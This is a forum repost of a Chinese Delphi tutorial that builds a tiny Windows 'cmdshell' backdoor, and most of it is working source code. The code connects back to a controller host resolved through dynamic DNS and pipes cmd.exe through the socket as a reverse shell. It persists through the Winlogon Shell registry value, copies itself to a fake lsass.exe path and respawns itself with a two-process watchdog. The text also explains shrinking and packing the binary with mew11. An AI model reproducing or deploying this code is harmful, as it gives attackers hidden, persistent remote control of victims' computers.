HanDs
管理员

[Delphi文章] 打造的实用cmdshell 



零、废话
  每天总要更新点什么,不然博客就没有活力了,呵呵。这是一篇原创文章,当然包括了前人所作的基础。
  作者:冰剑(BinJian),转载出处:http://sleepless.org.cn
  联系:[email protected]
一、前言
  这篇文章只适合初学者,大牛请略。为什么呢,因为我也是菜鸟,菜鸟写给菜鸟看的文章。接下来的篇幅我将主要讲述一些基本的编程技巧,这需要Delphi基础和理解。文章不讨论免杀技巧,下面的代码肯定不过AV。
  什么?4.71k?有什么好牛的?人家能写1k的呢。我这里只是提供一种简单的通用的实现办法,当然你可以做的更极端。所有的代码均会在文章最后给出,不会涉及特殊代码,将容易理解和实现。
  限于篇幅,某些函数的用法我不会展开讲,可以通过百度百科或搜索引擎获取你想要的详细资料。
二、主料
  同烧菜一般,我们需要先请出今天的主料。为了将体积控制的尽量的小巧,我们不可能使用任何的控件和类,甚至连Delphi自带的单元都不能够引用。我们将用Winsock2库完成所有的通信。
  注:Winsock2.pas在Delphi中并没有自带,需要下载。

  1.首先当然需要初始化Winsock,很简单,一句话就够了。

Var
  WSAData:TWSAData; //这东西在这里不重要,我们用不到。
////
WSAStartup($0101, WSAData);
WSAStartup的解释如下

简述:本函数必须是应用程序或DLL调用的第一个Windows Sockets函数,应用程序或DLL只能在一次成功的WSAStartup()调用之后才能调用进一步的Windows Sockets API函数。

这就像我们用手机时,需要先开户一样,你得告诉系统,我要用这玩意了。

  2.然后我们需要创建一个叫套接字的东西(这叫Socket),你可以理解成,你拿出手机打电话前你总得先拨号吧,这个拨号就是创建套接字。

Var
  VTSocket:TSocket; 
////
VTSocket:=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
//IPPROTO_TCP 表示使用的是TCP协议
//VTSocket 返回一个句柄,我们可以通过VTSocket来控制这个Socket
简述:创建一个与指定传送服务提供者捆绑的套接口,可选地创建和/或加入一个套接口组。

  3.拨完号,我们要打电话了,那么我们总需要按拨出键,才能把电话打出去吧。所以现在我们需要连接了。

Connect(VTSocket,@VTSocketAdd,sizeof(VTSocketAdd));
  这个函数返回一个值,如果这个值为0的话就标识连接成功了。所以这个时候我们可以这样判断

  if Connect(VTSocket,@VTSocketAdd,sizeof(VTSocketAdd))=0
then {连接成功要做的事情}
else {您拨打的电话已关机(连接不成功做的事情)}
  但实际上,我一般是这么写的。

  while Connect(VTSocket,@VTSocketAdd,sizeof(VTSocketAdd))<>0 do sleep(1000);
//如果连接不成功就睡觉。
  这个时候你会发现,一旦这么写以后程序永远就休眠了,一直睡觉,睡着不醒了。这是为什么呢?
  原来这个时候我们并没有插SIM卡,就是说系统根本不知道我们要连接到哪里去,我们是移动信号呢还是联通信号,系统根本不知道该找谁。

VTSocketAdd
发现这个关键的参数了吗?
这实际上是一个TSockAddrIn,TSockAddrIn用来定义连接参数,包括IP地址,端口等信息。

  
Var
  VTS_Port : Longint = 1213;
  VTS_IP : String = '127.0.0.1';
////
   VTSocketAdd.sin_family := PF_INET;
    VTSocketAdd.sin_port := htons(VTS_Port);
    VTSocketAdd.sin_addr.S_addr := inet_addr(pchar(VTS_IP));
这样就可以告诉系统我连接到VTS_IP这个IP地址中的VTS_Port这个端口中去了。
所以完整的实现是

 
  while Connect(VTSocket,@VTSocketAdd,sizeof(VTSocketAdd))<>0 do  //连接
  begin
    VTSocketAdd.sin_family := PF_INET;
    VTSocketAdd.sin_port := htons(VTS_Port);
    VTSocketAdd.sin_addr.S_addr := inet_addr(pchar(VTS_IP));
   // Log('  模拟终端套接字 等待连接');
    sleep(1000);
  end;
  //Log('  模拟终端套接字 连接成功');
好了,这样我们就能连接到控制端了,但是大家都知道,一般IP地址是动态的,如何能实时获得受控端的IP地址呢?
这个方法,前人已经有很多种实现方法了,包括FTP下载Txt文本获得IP地址,发送邮件获得IP地址等等,这里介绍一种简单的办法,解析域名就可以了。这也是目前最流行的办法,当然这需要动态DNS软件的支持,比如花生壳。

//此函数为网络参考 函数作用是将域名解析成ip
function HostToIP(Name: string; var Ip: string): Boolean;
var
  wsdata : TWSAData;
  hostName : array [0..255] of char;
  hostEnt : PHostEnt;
  addr : PChar;
begin
  WSAStartup ($0101, wsdata);
  try
    gethostname (hostName, sizeof (hostName));
    StrPCopy(hostName, Name);
    hostEnt := gethostbyname (hostName);
    if Assigned (hostEnt) then
      if Assigned (hostEnt^.h_addr_list) then begin
        addr := hostEnt^.h_addr_list^;
        if Assigned (addr) then begin
          IP :=
            IntToStr(byte(addr [0]))+'.'+
            IntToStr(byte(addr [1]))+'.'+
            IntToStr(byte(addr [2]))+'.'+
            IntToStr(byte(addr [3]));
        {Format ('%d.%d.%d.%d', [byte (addr [0]),
          byte (addr [1]), byte (addr [2]), byte (addr [3])]);
//你说为什么不用Format? 因为用它要引用sysutils,体积会大的哦。
        }   Result := True;
        end
        else
          Result := False;
      end
      else
        Result := False
    else begin
      Result := False;
    end;
  finally
    WSACleanup;
  end
end;
好了,这样就能够实现解析域名了,最后的代码是这样的

  while Connect(VTSocket,@VTSocketAdd,sizeof(VTSocketAdd))<>0 do  //连接
  begin
    HostToIP(VTS_Host,VTS_IP);
    VTSocketAdd.sin_family := PF_INET;
......
  那么实现连接了以后,怎么实现控制呢,当然你可以用recv接收和send发送,自己实现一个协议来做,但是现在,我将演示一种简单办法,这需要用到匿名管道。
//限于篇幅不详述管道技术了,请搜索百度

//首先获得一个环境变量,我们需要知道cmd.exe在哪?
  GetEnvironmentVariable('COMSPEC', VTCmdEPBuf, 1024); //得到CMD位置
 // Log('  环境变量 COMSPEC = '+VTCmdEPBuf);
然后我们通过TStartupInfo来配置一些参数。

  FillChar(SI, SizeOf(SI), 0); //初始化
  SI.cb := SizeOf(TStartUpInfo); //也初始化
  SI.dwFlags := $101;
  SI.hStdOutput := VTSocket; //指定cmd.exe的Output 输出到 socket
  SI.hStdError := VTSocket; //指定cmd.exe的异常信息 输出到 socket
  SI.hStdInput := VTSocket;   //指定socket中的命令输入到cmd.exe
//设置好参数以后我们就创建一个进程就行了
  CreateProcess(nil, VTCmdEPBuf, nil, nil, True, 0, nil, nil, SI, PI); 
//是不是很简单呢
好了,最后为了便于使用,我们把它包装成一个函数。

{Made by BinJian in sleepless.org.cn}
{核心函数, VTS_IP : 服务器IP, VTS_Port : 端口, PVTSocket : Socket套接字句柄 Result: cmd的进程信息}
Function VirtualTerminal(VTS_Host:String; VTS_Port:Longint; var PVTSocket:TSocket):TProcessInformation;
Var
   VTSocket:TSocket;      //连接虚拟终端服务器的客户端套接字
  VTSocketAdd : TSockAddrIn;  //虚拟终端服务器的套接字地址
  VTCmdEPBuf: array[0..1024] of char;  {取CMD路径的临时buf}
  SI: TStartUpInfo;         //进程创建参数
  PI: TProcessInformation;  //返回的进程信息}
  WSAData:TWSAData;
  VTS_IP:String;
begin
  WSAStartup($0101, WSAData); //初始化Winsock
 
  //创建新套接字,连接模拟终端服务器
  VTSocket:=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 // Log('  模拟终端套接字 创建 OK.');
 
  while Connect(VTSocket,@VTSocketAdd,sizeof(VTSocketAdd))<>0 do  //连接
  begin
    HostToIP(VTS_Host,VTS_IP);
    VTSocketAdd.sin_family := PF_INET;
    VTSocketAdd.sin_port := htons(VTS_Port);
    VTSocketAdd.sin_addr.S_addr := inet_addr(pchar(VTS_IP));
   // Log('  模拟终端套接字 等待连接');
    sleep(1000);
  end;
  //Log('  模拟终端套接字 连接成功');
 
  GetEnvironmentVariable('COMSPEC', VTCmdEPBuf, 1024); //得到CMD位置
 // Log('  环境变量 COMSPEC = '+VTCmdEPBuf);
  FillChar(SI, SizeOf(SI), 0);
  SI.cb := SizeOf(TStartUpInfo);
  SI.dwFlags := $101;
  SI.hStdOutput := VTSocket;
  SI.hStdError := VTSocket;
  SI.hStdInput := VTSocket; 
  CreateProcess(nil, VTCmdEPBuf, nil, nil, True, 0, nil, nil, SI, PI);     Result:=PI;
  PVTSocket:=VTSocket;
end;
接下来的代码将会用到它。
三、辅料(自启动和双进程保护的实现)
  你的承诺呢?你的拐杖呢?你的4.71k呢?
好了,接下来我们要给这道菜加上辅料,比如青菜啊萝卜啊,萝莉啊,御姐啊(Anskya兄最爱的),等等,扯远了。。

//然后要写一些常规的代码来控制
Type
    sVT = record  {表示当前是否正在进行虚拟终端功能的环境控制变量的定义}
      VT_PI : TProcessInformation; //cmd.exe的进程信息
      VT_Socket : TSocket; //套接字句柄
      VT_Active : boolean; //正在进行模拟终端通信?
    end;
Const
    Wait_TimeOut = $00000102; //一个小小常量
Var
  nVT:sVT;
 
Procedure CoreFunc;
begin
  Repeat
    {主要代码}
    nVT.VT_Active:=True; //这里设置一个标记,实际上我并没有用到
    nVT.VT_PI:=VirtualTerminal(SHost,SPort,nVT.VT_Socket); //调用刚才包装好的函数
    {下面开始监视创建的子进程cmd是否结束}
    {如果已经cmd进程已经结束}
    while WaitForSingleObject(nVT.VT_PI.hProcess, 100) = WAIT_TIMEOUT do //等待进程退出
      sleep(300);
    {把虚拟终端功能的状态变成未活动}
    nVT.VT_Active:=False;
    {关闭套接字}
    shutdown(nVT.VT_Socket,SD_SEND);
    CloseSocket(nVT.VT_Socket);
  until false; //无限循环运行
end;
以上这些代码,都应该全部放在单元里,然后在主程序里编写以下代码。
双进程保护的实现,请参考以下代码,只不过人家用Mutex来写只允许一个实例,我来写简单的保护功能而已。主要原理是这样的,启动时判断自己是否是第一个启动的进程,如果不是则就再次启动,自身退出(保护模式),如果是就执行主要功能代码。

var
 { Mutex:THandle; }
  PI:TProcessInformation;
  SI: TStartUpInfo;
  InstallPath:String='C:\Program Files\Common Files\lsass.exe';
 
procedure InicioRun();
//添加自启动,因为这是个360不看,AVP不闻的地方。
var
  ClaveOriginal: string;
begin
  {Guarda el valor actual}
  ClaveOriginal:=GetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell');
//得到当前的值
  {Comprueba que la ruta de nuestro ejecutable no se encuentra en ese valor}  
  if pos(paramstr(0), claveoriginal)=0 then
    SetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar('Explorer.exe')+' "'+Paramstr(0)+'"');
//查看是否包含程序的路径,如果不包含,就添加程序路径
end;
 
begin
//复制自身到指定目录
  if Paramstr(0)<>InstallPath then
  begin
    copyfile(pchar(Paramstr(0)),pchar(InstallPath),False);
    CreateProcess(nil,pchar(InstallPath), nil, nil, True, 0, nil, nil, SI, PI);
    halt; //退出
  end;
  //创建互斥对象
  {Mutex:=}CreateMutex(nil,True,'asun');
  if GetLastError<>ERROR_ALREADY_EXISTS then
//获得最后一次错误,如果错误不是已经存在
  begin
    InicioRun();
  //如果程序是第一次运行,则为受控模式
  //  Winexec(pchar(Paramstr(0)),sw_hide); //再运行一个实例 保护模式
    CreateProcess(nil,pchar(paramstr(0)), nil, nil, True, 0, nil, nil, SI, PI);
    CoreFunc;   {这是实现主要功能的部分}
  end else
  begin
    sleep(333); //睡觉
    InicioRun(); //添加自启动
    SI.dwFlags:=STARTF_FORCEOFFFEEDBACK; //消除启动时候的鼠标指针
    //如果程序是第二次运行,则切换为保护模式
    CreateProcess(nil,pchar(paramstr(0)), nil, nil, True, 0, nil, nil, SI, PI);
  end;
end.
四、调料
  文章到了这里,我们已经实现了主要的功能了,完整代码你可以从文章的最后找到。下面,我们来聊聊如何减小这玩意的体积。实际上我把所有的函数全部提取出来了,在RTL.pas里,这是一项艰苦的工程,不过比起引用系统单元,你将能减少十几K的体积。
这样,我们编译出来的大小是19K。
  然后你可以使用KOL的Sysdcu核心库,能使你再减小一半的体积。体积减小到了约9K。
  最后使用mew11压缩加壳之后最终大小时4.71k。
五、写在最后
  我发现文章写的越来越快了,因为12点了,我想去睡觉了,呵呵。
不过主要的代码和技巧我还是写上了注释,我相信聪明的读者能够很容易的理解。


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
打造
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复